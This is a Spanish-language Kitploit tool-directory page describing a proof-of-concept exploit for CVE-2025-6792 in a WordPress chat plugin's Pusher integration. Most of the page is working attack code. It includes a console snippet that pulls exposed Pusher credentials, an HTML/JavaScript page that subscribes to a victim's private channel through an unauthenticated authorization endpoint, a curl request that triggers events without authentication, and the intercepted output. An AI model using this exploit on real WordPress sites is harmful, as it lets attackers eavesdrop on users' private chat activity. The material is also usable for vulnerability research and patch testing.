Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-6792 — Exploit de prueba de concepto para CVE-2025-6792 que demuestra la suscripción no autorizada a canales de Pusher y el espionaje de eventos en un plugin de WordPress mediante credenciales expuestas y endpoints de API no autenticados. | Kitploit
Herramientas/GitHubGitHub/jfriedli/cve-2025-6792
ReconocimientoExplotaciónExplotación de Aplicaciones WebPruebas de Seguridad de APIsRecopilación de InformaciónPruebas de Penetración
GitHubjfriedli/cve-2025-6792

CVE-2025-6792

Exploit de prueba de concepto para CVE-2025-6792 que demuestra la suscripción no autorizada a canales de Pusher y el espionaje de eventos en un plugin de WordPress mediante credenciales expuestas y endpoints de API no autenticados.

Ver Repositorio
hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Exploit: Suscripción no autorizada a canales de Pusher (Escuchas clandestinas)

1) Obtener credenciales de Pusher (desde la consola del navegador)

root@kitploit:~
console.log(
  window.wpguppy_scripts_vars.pusherKey,
  window.wpguppy_scripts_vars.pusherCluster
);

2) Suscribirse al canal privado de una víctima

root@kitploit:~
<!doctype html>
<html>
<head>
  <meta charset="utf-8">
  <title>Prueba de escuchas de Pusher</title>
  <script src="https://js.pusher.com/7.4/pusher.min.js"></script>
</head>
<body>
  <h1>Escuchando en private-user-5</h1>
  <pre id="log"></pre>

  <script>
    const log = msg => {
      const p = document.createElement('div');
      p.textContent = msg;
      document.getElementById('log').appendChild(p);
    };

    const pusher = new Pusher("PUSHER_KEY", {
      cluster: "PUSHER_CLUSTER",
      authEndpoint: "http://localhost/wordpress/wp-json/guppylite/v2/channel-authorize"
    });

    const channel = pusher.subscribe("private-user-5");

    channel.bind_global((event, data) => {
      log(`Event: ${event} → ${JSON.stringify(data)}`);
    });

    pusher.connection.bind('error', err => {
      log(`Pusher error: ${err.error ? err.error.data : err}`);
    });

    log("Waiting for events...");
  </script>
</body>
</html>

3) Disparar un evento (sin autenticación)

root@kitploit:~
curl -i -X POST "http://localhost/wordpress/?rest_route=/guppylite/v2/user-typing" \
  -H "Content-Type: application/json" \
  -d '{
    "chatId": "5_1",
    "chatType": 1,
    "text": "typing...",
    "userName": "Alice",
    "senderId": 5
  }'

4) Observar los datos interceptados

root@kitploit:~
Event: isTyping → {
  "chatId":"5_1",
  "chatType":1,
  "text":"typing...",
  "userName":"Alice",
  "senderId":5
}
Descargar herramienta